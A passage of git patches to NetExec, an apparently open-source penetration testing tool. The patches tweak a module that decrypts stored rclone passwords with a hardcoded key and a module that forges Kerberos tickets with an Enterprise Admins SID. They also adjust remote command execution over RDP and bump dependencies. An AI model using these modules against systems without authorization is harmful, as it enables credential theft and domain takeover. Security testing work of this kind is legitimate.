@@ def on_admin_login(self, context, connection): def deobscure(self, obscured): encrypted_password = self.base64_urlsafedecode(obscured) - iv = encrypted_password[:AES.block_size] - buf = encrypted_password[AES.block_size:] + iv = encrypted_password[:CRT_IV_LENGTH] + buf = encrypted_password[CRT_IV_LENGTH:] SECRET_KEY = b"\x9c\x93\x5b\x48\x73\x0a\x55\x4d\x6b\xfd\x7c\x63\xc8\x86\xa9\x2b\xd3\x90\x19\x8e\xb8\x12\x8a\xfb\xf4\xde\x16\x2b\x8b\x95\xf6\x38" crypter = AES.new(key=SECRET_KEY, mode=AES.MODE_CTR, initial_value=iv, nonce=b"") return crypter.decrypt(buf).decode("utf-8") From 0c21bf9bcd65a7aa29e5d838ecbc8217267807d6 Mon Sep 17 00:00:00 2001 From: BepuSun Date: Sun, 4 Oct 2026 23:36:29 +0200 Subject: [PATCH 386/397] Ketp AES.block_size in rclone.py Signed-off-by: BepuSun --- nxc/modules/rclone.py | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) diff --git a/nxc/modules/rclone.py b/nxc/modules/rclone.py index e08945e33c..185d3839cc 100644 --- a/nxc/modules/rclone.py +++ b/nxc/modules/rclone.py @@ -3,7 +3,6 @@ from io import BytesIO from nxc.helpers.misc import CATEGORY -CRT_IV_LENGTH = 16 # AES-256-CRT uses 16-byte IV class NXCModule: name = "rclone" @@ -77,8 +76,8 @@ def on_admin_login(self, context, connection): def deobscure(self, obscured): encrypted_password = self.base64_urlsafedecode(obscured) - iv = encrypted_password[:CRT_IV_LENGTH] - buf = encrypted_password[CRT_IV_LENGTH:] + iv = encrypted_password[:AES.block_size] + buf = encrypted_password[AES.block_size:] SECRET_KEY = b"\x9c\x93\x5b\x48\x73\x0a\x55\x4d\x6b\xfd\x7c\x63\xc8\x86\xa9\x2b\xd3\x90\x19\x8e\xb8\x12\x8a\xfb\xf4\xde\x16\x2b\x8b\x95\xf6\x38" crypter = AES.new(key=SECRET_KEY, mode=AES.MODE_CTR, initial_value=iv, nonce=b"") return crypter.decrypt(buf).decode("utf-8") From f0c40cd85dc8498b758b215e5ac50351ce331315 Mon Sep 17 00:00:00 2001 From: mpgn Date: Sat, 10 Oct 2026 22:39:57 +0200 Subject: [PATCH 387/397] fix raisechild module --- nxc/modules/raisechild.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/nxc/modules/raisechild.py b/nxc/modules/raisechild.py index 798d6fb93d..5be9a8aaa0 100644 --- a/nxc/modules/raisechild.py +++ b/nxc/modules/raisechild.py @@ -49,7 +49,7 @@ def __init__(self, context=None, module_options=None): self.krbtgt_hash = "" self.aes128_key = "" self.aes256_key = "" - self.etype = "rc4" + self.etype = "aes256" def options(self, context, module_options): """ @@ -59,7 +59,7 @@ def options(self, context, module_options): USER Target username to forge the ticket for (default: Administrator) USER_ID RID used as the user ID in the PAC (default: 500) RID RID used for the extra SID (default: 519 = Enterprise Admins) - ETYPE Encryption type for the ticket: rc4, aes128, aes256 (default: rc4) + ETYPE Encryption type for the ticket: rc4, aes128, aes256 (default: aes256) Examples: netexec ldap -u -p -M raisechild -o USER=DC01$ @@ -69,7 +69,7 @@ def options(self, context, module_options): """ self.context = context self.module_options = module_options - self.etype = module_options.get("ETYPE", "rc4").lower() + self.etype = module_options.get("ETYPE", "aes256").lower() def on_admin_login(self, context, connection): self.context = context From f8b53ae8ba60fd7260f3d2e067bf2f0ca1485a1b Mon Sep 17 00:00:00 2001 From: mpgn Date: Sat, 10 Oct 2026 22:40:08 +0200 Subject: [PATCH 388/397] update lock files --- uv.lock | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/uv.lock b/uv.lock index 952d8f308f..d427641c1c 100644 --- a/uv.lock +++ b/uv.lock @@ -3,7 +3,7 @@ revision = 3 requires-python = ">=3.11, <4.0" [options] -exclude-newer = "0001-01-01T00:00:00Z" # This has no effect and is included for backwards compatibility when using relative exclude-newer values. +exclude-newer = "2026-10-09T20:37:42.883772672Z" exclude-newer-span = "P1D" [[package]] @@ -866,8 +866,8 @@ wheels = [ [[package]] name = "impacket" -version = "0.14.0.dev0+20260909.31915.a2d35007" -source = { git = "https://github.com/fortra/impacket#a2d35007c9717ce791f07efe99db63fd26386661" } +version = "0.14.0.dev0+20261001.122511.1875828d" +source = { git = "https://github.com/fortra/impacket#1875828d0f2e987cd89c1bcb45f843708981a199" } dependencies = [ { name = "charset-normalizer" }, { name = "flask" }, From 43c569aa8da33f6a56400d4c3cac4ea7d4d790c8 Mon Sep 17 00:00:00 2001 From: mpgn Date: Sat, 10 Oct 2026 23:06:41 +0200 Subject: [PATCH 389/397] update lock files --- poetry.lock | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/poetry.lock b/poetry.lock index e47e615a71..2f574950a1 100644 --- a/poetry.lock +++ b/poetry.lock @@ -1077,7 +1077,7 @@ all = ["mypy (>=1.11.2)", "pytest (>=8.3.2)", "ruff (>=0.6.2)"] [[package]] name = "impacket" -version = "0.14.0.dev0+20260909.31915.a2d35007" +version = "0.14.0.dev0+20261001.122511.1875828d" description = "Network protocols Constructors and Dissectors" optional = false python-versions = "*" @@ -1088,7 +1088,7 @@ develop = false [package.dependencies] charset_normalizer = "*" flask = ">=1.0" -ldap3 = ">2.5.0,<2.5.2 || >2.5.2,<2.6 || >2.6" +ldap3 = ">2.5.0,!=2.5.2,!=2.6" ldapdomaindump = ">=0.9.0" pyasn1 = ">=0.2.3" pyasn1_modules = "*" @@ -1101,7 +1101,7 @@ six = "*" type = "git" url = "https://github.com/fortra/impacket" reference = "HEAD" -resolved_reference = "a2d35007c9717ce791f07efe99db63fd26386661" +resolved_reference = "1875828d0f2e987cd89c1bcb45f843708981a199" [[package]] name = "iniconfig" From f5d2c8803fa6891dd4a639b73dbd0d850a17addb Mon Sep 17 00:00:00 2001 From: mpgn Date: Sun, 11 Oct 2026 15:58:12 +0200 Subject: [PATCH 390/397] bump aardwolf --- poetry.lock | 11 +++++++---- pyproject.toml | 2 +- uv.lock | 13 +++++++++---- 3 files changed, 17 insertions(+), 9 deletions(-) diff --git a/poetry.lock b/poetry.lock index 2f574950a1..270ef30580 100644 --- a/poetry.lock +++ b/poetry.lock @@ -2,13 +2,16 @@ [[package]] name = "aardwolf" -version = "0.2.14" +version = "0.2.16" description = "Asynchronous RDP protocol implementation" optional = false -python-versions = ">=3.9" +python-versions = ">=3.11" groups = ["main"] files = [ - {file = "aardwolf-0.2.14.tar.gz", hash = "sha256:360a1a3d046dc2814c2e58339939a8f311ae330c0d1d962790edf45d726af4a6"}, + {file = "aardwolf-0.2.16-cp311-abi3-macosx_11_0_arm64.whl", hash = "sha256:fbde3046d4cdd3a5596dfcc988965b85527632cee46db2522961893d101fcbc7"}, + {file = "aardwolf-0.2.16-cp311-abi3-manylinux_2_28_x86_64.whl", hash = "sha256:69bedfad4b68b855a9d0df928c78eb0bbdc642c22f9845778c9df77a8fe9c259"}, + {file = "aardwolf-0.2.16-cp311-abi3-win_amd64.whl", hash = "sha256:b4d6032110ee238cf11c1f5efa86636462d7dc2e972b8464e949da82df58f3a6"}, + {file = "aardwolf-0.2.16.tar.gz", hash = "sha256:52cba79817af963108dcd39e82513deec742387f2fab01a9138abe56f94e7ad2"}, ] [package.dependencies] @@ -2961,4 +2964,4 @@ test = ["pytest", "pytest-cov"] [metadata] lock-version = "2.1" python-versions = ">=3.11,<4.0" -content-hash = "2bc6edf8e403d1825776e740407674a8d2a962ceb40eae16f30de098101ecd31" +content-hash = "7689c604ae009d0da1cf9fce74a59b42933f04f92d4423f08c7e01d6cf2c0683" diff --git a/pyproject.toml b/pyproject.toml index f46daeb450..2dff1e9d2f 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -17,7 +17,7 @@ classifiers = [ "Topic :: Security" ] dependencies = [ - "aardwolf>=0.2.14", + "aardwolf>=0.2.16", "argcomplete>=3.1.4", "asyauth>=0.0.20", "beautifulsoup4>=4.11,<5", diff --git a/uv.lock b/uv.lock index d427641c1c..e3ac509fef 100644 --- a/uv.lock +++ b/uv.lock @@ -3,12 +3,12 @@ revision = 3 requires-python = ">=3.11, <4.0" [options] -exclude-newer = "2026-10-09T20:37:42.883772672Z" +exclude-newer = "2026-10-10T13:56:17.397976536Z" exclude-newer-span = "P1D" [[package]] name = "aardwolf" -version = "0.2.14" +version = "0.2.16" source = { registry = "https://pypi.org/simple" } dependencies = [ { name = "arc4" }, @@ -22,7 +22,12 @@ dependencies = [ { name = "tqdm" }, { name = "unicrypto" }, ] -sdist = { url = "https://files.pythonhosted.org/packages/92/88/b1a7e3dd1e727245fe893bb707520ba91cc980443c0c261f730b35244b62/aardwolf-0.2.14.tar.gz", hash = "sha256:360a1a3d046dc2814c2e58339939a8f311ae330c0d1d962790edf45d726af4a6", size = 973985, upload-time = "2026-06-20T21:07:04.498Z" } +sdist = { url = "https://files.pythonhosted.org/packages/71/0f/79f2acb31e1144a3895d17ad9136272d2b75ed3bd24eb1c415129d5e089d/aardwolf-0.2.16.tar.gz", hash = "sha256:52cba79817af963108dcd39e82513deec742387f2fab01a9138abe56f94e7ad2", size = 1013103, upload-time = "2026-10-04T18:44:46.704Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/6c/8d/a0cfa361e4077c56bcda4b820c462dbea4a11ff60110bc8486c1f051b660/aardwolf-0.2.16-cp311-abi3-macosx_11_0_arm64.whl", hash = "sha256:fbde3046d4cdd3a5596dfcc988965b85527632cee46db2522961893d101fcbc7", size = 2169322, upload-time = "2026-10-04T18:44:41.102Z" }, + { url = "https://files.pythonhosted.org/packages/15/7b/079c9087a742763141d3e2e4b000f34c3962aa6cb67599158fcb08c9aaaa/aardwolf-0.2.16-cp311-abi3-manylinux_2_28_x86_64.whl", hash = "sha256:69bedfad4b68b855a9d0df928c78eb0bbdc642c22f9845778c9df77a8fe9c259", size = 2241815, upload-time = "2026-10-04T18:44:43.011Z" }, + { url = "https://files.pythonhosted.org/packages/71/43/b51e73133aae6a3e56bfb79174e8a4edc99f8ef051202b0e7173053a0886/aardwolf-0.2.16-cp311-abi3-win_amd64.whl", hash = "sha256:b4d6032110ee238cf11c1f5efa86636462d7dc2e972b8464e949da82df58f3a6", size = 1966337, upload-time = "2026-10-04T18:44:45.294Z" }, +] [[package]] name = "aesedb" @@ -1309,7 +1314,7 @@ dev = [ [package.metadata] requires-dist = [ - { name = "aardwolf", specifier = ">=0.2.14" }, + { name = "aardwolf", specifier = ">=0.2.16" }, { name = "argcomplete", specifier = ">=3.1.4" }, { name = "asyauth", specifier = ">=0.0.20" }, { name = "beautifulsoup4", specifier = ">=4.11,<5" }, From 93afe3e0495da978244fce0afe27e4b0d30269ba Mon Sep 17 00:00:00 2001 From: mpgn Date: Sun, 11 Oct 2026 16:06:29 +0200 Subject: [PATCH 391/397] fix ruff --- nxc/protocols/rdp.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nxc/protocols/rdp.py b/nxc/protocols/rdp.py index 14124e5d85..020a95bbf6 100644 --- a/nxc/protocols/rdp.py +++ b/nxc/protocols/rdp.py @@ -233,7 +233,7 @@ async def login_and_confirm(self): try: await asyncio.wait_for(self.conn.logon_info_received.wait(), timeout=self.args.rdp_timeout) return True - except asyncio.TimeoutError: + except TimeoutError: self.logger.debug("No Save Session Info PDU: RDP access is granted but the interactive logon was refused (restricted admin)") return False finally: From 1d8296c67c60d41a85276ca33fbc63e70b719642 Mon Sep 17 00:00:00 2001 From: mpgn Date: Sun, 11 Oct 2026 17:39:04 +0200 Subject: [PATCH 392/397] fix ruff --- nxc/protocols/rdp.py | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/nxc/protocols/rdp.py b/nxc/protocols/rdp.py index 207b6d8ea8..974c741e31 100644 --- a/nxc/protocols/rdp.py +++ b/nxc/protocols/rdp.py @@ -570,7 +570,7 @@ async def _wait_for_event(self, event_names, max_wait): remaining = deadline - loop.time() if remaining <= 0: - raise asyncio.TimeoutError + raise TimeoutError data = await asyncio.wait_for(self.conn.ext_out_queue.get(), timeout=remaining) if data is None: @@ -587,7 +587,7 @@ async def _wait_for_desktop(self): if not self.conn.desktop_buffer_has_data: try: await self._wait_for_event({"VIDEO"}, self.args.cmd_delay) - except asyncio.TimeoutError: + except TimeoutError: self.logger.debug("No desktop update received before command execution; continuing") remaining_delay = self.args.cmd_delay - (loop.time() - started_at) @@ -627,7 +627,7 @@ async def _wait_for_command_result(self, marker): while True: remaining = deadline - loop.time() if remaining <= 0: - raise asyncio.TimeoutError + raise TimeoutError data = await self._wait_for_event({"CLIPBOARD_DATA_TXT"}, remaining) result = self._parse_execution_result(data.data, marker) @@ -656,7 +656,7 @@ async def execute_shell(self, payload, get_output, shell_type): self.logger.success("Waiting for clipboard to be ready...") try: await self._wait_for_event({"CLIPBOARD_READY"}, self.args.clipboard_delay) - except asyncio.TimeoutError: + except TimeoutError: self.logger.fail("Clipboard cannot be initialized, no output can be retrieved") return None @@ -677,7 +677,7 @@ async def execute_shell(self, payload, get_output, shell_type): if get_output: try: await self._submit_run_command(command) - except asyncio.TimeoutError: + except TimeoutError: self.logger.fail( "Remote session did not acknowledge the clipboard command data" ) @@ -692,7 +692,7 @@ async def execute_shell(self, payload, get_output, shell_type): try: exit_code, output = await self._wait_for_command_result(marker) - except asyncio.TimeoutError: + except TimeoutError: self.logger.fail("Timed out waiting for command output on the RDP clipboard") return None From 893ff6f1ffc4ac122ce00c0d16dd09d4f8f80dac Mon Sep 17 00:00:00 2001 From: mpgn Date: Sun, 11 Oct 2026 18:12:10 +0200 Subject: [PATCH 393/397] fix(rdp): non-NLA fallback for auth_only exec check + builtin TimeoutError; warn on -X too --- nxc/netexec.py | 2 +- nxc/protocols/rdp.py | 42 +++++++++++++++++++++++++++++++++--------- 2 files changed, 34 insertions(+), 10 deletions(-) diff --git a/nxc/netexec.py b/nxc/netexec.py index fa6561d388..b4d8768972 100644 --- a/nxc/netexec.py +++ b/nxc/netexec.py @@ -197,7 +197,7 @@ def main(): proto_module_paths.append(modules[m]["path"]) protocol_object.module_paths = proto_module_paths - if args.protocol == "rdp" and args.execute: + if args.protocol == "rdp" and (args.execute or args.ps_execute): ans = input(highlight("[!] Executing remote command via RDP will disconnect the Windows session (not log off) if the targeted user is connected via RDP, do you want to continue ? [Y/n] ", "red")) if ans.lower() not in ["y", "yes", ""]: exit(1) diff --git a/nxc/protocols/rdp.py b/nxc/protocols/rdp.py index 974c741e31..9f4bad56f7 100644 --- a/nxc/protocols/rdp.py +++ b/nxc/protocols/rdp.py @@ -313,9 +313,17 @@ def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", ) self.conn = self._create_rdp_connection(self.auth) if self._execution_pending(): - # Execution opens its own session in execute_cmd; here only verify the - # credentials (auth_only) to avoid a full session and Win11 clipboard issues. - asyncio.run(self.connect_rdp_with_cleanup(auth_only=True)) + # auth_only verifies creds without opening a full session, which on single-session + # Win11 hosts would be left disconnected and break the clipboard execute_shell uses + # (commit ac6f5814). It needs CredSSP/NLA; if the server doesn't negotiate it aardwolf + # raises, so fall back to a full confirm on a FRESH connection (the failed one is + # already torn down and cannot be reconnected), which also sets admin_privs. + try: + asyncio.run(self.connect_rdp_with_cleanup(auth_only=True)) + except RuntimeError as e: + self.logger.debug(f"auth_only unavailable ({e!s}); retrying with a full logon") + self.conn = self._create_rdp_connection(self.auth) + self.admin_privs = asyncio.run(self.login_and_confirm()) else: self.admin_privs = asyncio.run(self.login_and_confirm()) @@ -380,9 +388,17 @@ def plaintext_login(self, domain, username, password): ) self.conn = self._create_rdp_connection(self.auth) if self._execution_pending(): - # Execution opens its own session in execute_cmd; here only verify the - # credentials (auth_only) to avoid a full session and Win11 clipboard issues. - asyncio.run(self.connect_rdp_with_cleanup(auth_only=True)) + # auth_only verifies creds without opening a full session, which on single-session + # Win11 hosts would be left disconnected and break the clipboard execute_shell uses + # (commit ac6f5814). It needs CredSSP/NLA; if the server doesn't negotiate it aardwolf + # raises, so fall back to a full confirm on a FRESH connection (the failed one is + # already torn down and cannot be reconnected), which also sets admin_privs. + try: + asyncio.run(self.connect_rdp_with_cleanup(auth_only=True)) + except RuntimeError as e: + self.logger.debug(f"auth_only unavailable ({e!s}); retrying with a full logon") + self.conn = self._create_rdp_connection(self.auth) + self.admin_privs = asyncio.run(self.login_and_confirm()) else: self.admin_privs = asyncio.run(self.login_and_confirm()) @@ -421,9 +437,17 @@ def hash_login(self, domain, username, ntlm_hash): ) self.conn = self._create_rdp_connection(self.auth) if self._execution_pending(): - # Execution opens its own session in execute_cmd; here only verify the - # credentials (auth_only) to avoid a full session and Win11 clipboard issues. - asyncio.run(self.connect_rdp_with_cleanup(auth_only=True)) + # auth_only verifies creds without opening a full session, which on single-session + # Win11 hosts would be left disconnected and break the clipboard execute_shell uses + # (commit ac6f5814). It needs CredSSP/NLA; if the server doesn't negotiate it aardwolf + # raises, so fall back to a full confirm on a FRESH connection (the failed one is + # already torn down and cannot be reconnected), which also sets admin_privs. + try: + asyncio.run(self.connect_rdp_with_cleanup(auth_only=True)) + except RuntimeError as e: + self.logger.debug(f"auth_only unavailable ({e!s}); retrying with a full logon") + self.conn = self._create_rdp_connection(self.auth) + self.admin_privs = asyncio.run(self.login_and_confirm()) else: self.admin_privs = asyncio.run(self.login_and_confirm()) From f7835c3ba7b716cbd3dd3aece13010865e373845 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sun, 11 Oct 2026 18:14:03 -0400 Subject: [PATCH 394/397] Add simple visual separater --- nxc/protocols/mssql.py | 1 + 1 file changed, 1 insertion(+) diff --git a/nxc/protocols/mssql.py b/nxc/protocols/mssql.py index f0c012c244..40a5044369 100755 --- a/nxc/protocols/mssql.py +++ b/nxc/protocols/mssql.py @@ -320,6 +320,7 @@ def query(self): self.logger.fail(self.conn.lastError) else: for data in raw_output: + self.logger.highlight("--------------------") for key, value in data.items(): if key: self.logger.highlight(f"{key}:{value}") From 0602ef43676bff614369037d966c42dcaeace5b1 Mon Sep 17 00:00:00 2001 From: mpgn Date: Wed, 14 Oct 2026 18:18:46 +0200 Subject: [PATCH 395/397] deps: replace certipy-ad git fork with certipy-nxc from PyPI The Pennyw0rth/Certipy fork, synced with ly4k/Certipy main (incl. #348), is now published on PyPI as certipy-nxc 5.1.0.post1. The fork keeps Python 3.11 support and allows impacket 0.14.0.dev. uv.lock overrides exclude-newer for certipy-nxc so it can be locked right after publishing. Fixes pip/pipx installs, which failed after the fork was renamed. Tested certipy-find against an AD CS lab on Python 3.11 and 3.13. --- poetry.lock | 20 ++++++++------------ pyproject.toml | 2 +- tests/e2e_commands.txt | 1 + uv.lock | 19 +++++++++++++------ 4 files changed, 23 insertions(+), 19 deletions(-) diff --git a/poetry.lock b/poetry.lock index 270ef30580..5afb0a4154 100644 --- a/poetry.lock +++ b/poetry.lock @@ -482,14 +482,16 @@ dev = ["black (>=23.0.0)", "mypy (>=1.0.0)", "pytest (>=7.0.0)", "pytest-cov (>= kerberos = ["gssapi (>=1.8.0) ; sys_platform != \"win32\"", "winkerberos (>=0.9.1) ; sys_platform == \"win32\""] [[package]] -name = "certipy-ad" -version = "5.1.0" -description = "Active Directory Certificate Services enumeration and abuse" +name = "certipy-nxc" +version = "5.1.0.post1" +description = "Certipy (ly4k/Certipy) packaged for NetExec, with relaxed Python and impacket pins" optional = false python-versions = ">=3.10" groups = ["main"] -files = [] -develop = false +files = [ + {file = "certipy_nxc-5.1.0.post1-py3-none-any.whl", hash = "sha256:27620fdd7a7a44f5ea7d537732a8022d20dd02f7fcd76e2d7fff84daab43ecb0"}, + {file = "certipy_nxc-5.1.0.post1.tar.gz", hash = "sha256:fb11ca11bcf2e1e7eb060e2c7a7ba78699baeafabb23598dd3770b61d07b75b8"}, +] [package.dependencies] argcomplete = ">=3.6.2,<3.7.0" @@ -507,12 +509,6 @@ requests = ">=2.32.3,<2.33.0" [package.extras] bloodhound = ["neo4j (>=5.28.1,<5.29.0)"] -[package.source] -type = "git" -url = "https://github.com/Pennyw0rth/Certipy" -reference = "HEAD" -resolved_reference = "069e03113095aa02772aa3d8debea90654933fe4" - [[package]] name = "cffi" version = "2.1.1" @@ -2964,4 +2960,4 @@ test = ["pytest", "pytest-cov"] [metadata] lock-version = "2.1" python-versions = ">=3.11,<4.0" -content-hash = "7689c604ae009d0da1cf9fce74a59b42933f04f92d4423f08c7e01d6cf2c0683" +content-hash = "f3bdd08f336195dcad587423689f837cf2c8cabddf46358bb8a7f279512d4f65" diff --git a/pyproject.toml b/pyproject.toml index 2dff1e9d2f..778a19e1f0 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -47,7 +47,7 @@ dependencies = [ "terminaltables3>=4.0.0", "xmltodict>=0.13.0", # Git Dependencies - "certipy-ad @ git+https://github.com/Pennyw0rth/Certipy", + "certipy-nxc>=5.1.0.post1", "impacket @ git+https://github.com/fortra/impacket", "pynfsclient @ git+https://github.com/Pennyw0rth/NfsClient", ] diff --git a/tests/e2e_commands.txt b/tests/e2e_commands.txt index 7a4372f098..1798a6eace 100644 --- a/tests/e2e_commands.txt +++ b/tests/e2e_commands.txt @@ -240,6 +240,7 @@ netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --dc-list ##### LDAP Modules netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -L netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M adcs +netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M certipy-find netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M daclread -o TARGET=LOGIN_USERNAME ACTION=read netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M dns-nonsecure netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M get-desc-users diff --git a/uv.lock b/uv.lock index e3ac509fef..b4614374d6 100644 --- a/uv.lock +++ b/uv.lock @@ -3,9 +3,12 @@ revision = 3 requires-python = ">=3.11, <4.0" [options] -exclude-newer = "2026-10-10T13:56:17.397976536Z" +exclude-newer = "2026-10-13T16:16:27.356501522Z" exclude-newer-span = "P1D" +[options.exclude-newer-package] +certipy-nxc = "2026-10-14T17:00:00Z" + [[package]] name = "aardwolf" version = "0.2.16" @@ -374,9 +377,9 @@ wheels = [ ] [[package]] -name = "certipy-ad" -version = "5.1.0" -source = { git = "https://github.com/Pennyw0rth/Certipy#069e03113095aa02772aa3d8debea90654933fe4" } +name = "certipy-nxc" +version = "5.1.0.post1" +source = { registry = "https://pypi.org/simple" } dependencies = [ { name = "argcomplete" }, { name = "asn1crypto" }, @@ -390,6 +393,10 @@ dependencies = [ { name = "pycryptodome" }, { name = "requests" }, ] +sdist = { url = "https://files.pythonhosted.org/packages/db/b8/ebf0f6f0a3d54d7c309a58d692f54532edbc62d8358ea56dadd22ef8b041/certipy_nxc-5.1.0.post1.tar.gz", hash = "sha256:fb11ca11bcf2e1e7eb060e2c7a7ba78699baeafabb23598dd3770b61d07b75b8", size = 159110, upload-time = "2026-10-14T16:14:49.169Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/83/6e/5b1c9ceaf7b6092dfe50705af3b1eb5e239115d1044a162a3933a3fa24dc/certipy_nxc-5.1.0.post1-py3-none-any.whl", hash = "sha256:27620fdd7a7a44f5ea7d537732a8022d20dd02f7fcd76e2d7fff84daab43ecb0", size = 181768, upload-time = "2026-10-14T16:14:47.58Z" }, +] [[package]] name = "cffi" @@ -1276,7 +1283,7 @@ dependencies = [ { name = "beautifulsoup4" }, { name = "bloodhound-ce" }, { name = "certihound" }, - { name = "certipy-ad" }, + { name = "certipy-nxc" }, { name = "cryptography" }, { name = "dploot" }, { name = "dsinternals" }, @@ -1320,7 +1327,7 @@ requires-dist = [ { name = "beautifulsoup4", specifier = ">=4.11,<5" }, { name = "bloodhound-ce", specifier = ">=1.8.0" }, { name = "certihound", specifier = ">=0.1.1" }, - { name = "certipy-ad", git = "https://github.com/Pennyw0rth/Certipy" }, + { name = "certipy-nxc", specifier = ">=5.1.0.post1" }, { name = "cryptography", specifier = ">=42.0.8" }, { name = "dploot", specifier = ">=4.0.0" }, { name = "dsinternals", specifier = ">=1.2.4" }, From 6c312cd79165aebeeea28cd9eac39c6103890bb0 Mon Sep 17 00:00:00 2001 From: mpgn Date: Wed, 14 Oct 2026 18:21:15 +0200 Subject: [PATCH 396/397] deps: declare certipy-nxc exclude-newer override in pyproject so CI keeps the lockfile --- pyproject.toml | 2 ++ 1 file changed, 2 insertions(+) diff --git a/pyproject.toml b/pyproject.toml index 778a19e1f0..e5ed9d5d6f 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -98,6 +98,8 @@ dev = [ # malicious or compromised releases before they are selected during resolution. [tool.uv] exclude-newer = "1 day" +# Temporary: certipy-nxc 5.1.0.post1 was published 2026-10-14, remove once it is older than 1 day +exclude-newer-package = { certipy-nxc = "2026-10-14T17:00:00Z" } [tool.ruff] preview = true From 53007f3f8bac2c8b42aef370cac1fafeaf8d6fe9 Mon Sep 17 00:00:00 2001 From: aconite33 Date: Thu, 15 Oct 2026 15:30:47 -0600 Subject: [PATCH 397/397] fix: resolve ruff lint errors from merge Remove unused `os` import in rdp.py and extra blank line in smb.py. --- nxc/protocols/rdp.py | 1 - nxc/protocols/smb.py | 1 - 2 files changed, 2 deletions(-) diff --git a/nxc/protocols/rdp.py b/nxc/protocols/rdp.py index 7feba1214f..9f4bad56f7 100644 --- a/nxc/protocols/rdp.py +++ b/nxc/protocols/rdp.py @@ -3,7 +3,6 @@ import copy import contextlib from datetime import datetime -import os from os import getenv from uuid import uuid4 from anyio import Path diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py index 49f90d7c6c..7bdefa90f3 100755 --- a/nxc/protocols/smb.py +++ b/nxc/protocols/smb.py @@ -210,7 +210,6 @@ def enum_host_info(self): aggressive_check = bool(self.args.generate_hosts_file or self.args.generate_krb5_file) self.is_host_dc(aggressive_check=aggressive_check) - # self.domain is the attribute we authenticate with # self.targetDomain is the attribute which gets displayed as host domain if not self.no_ntlm: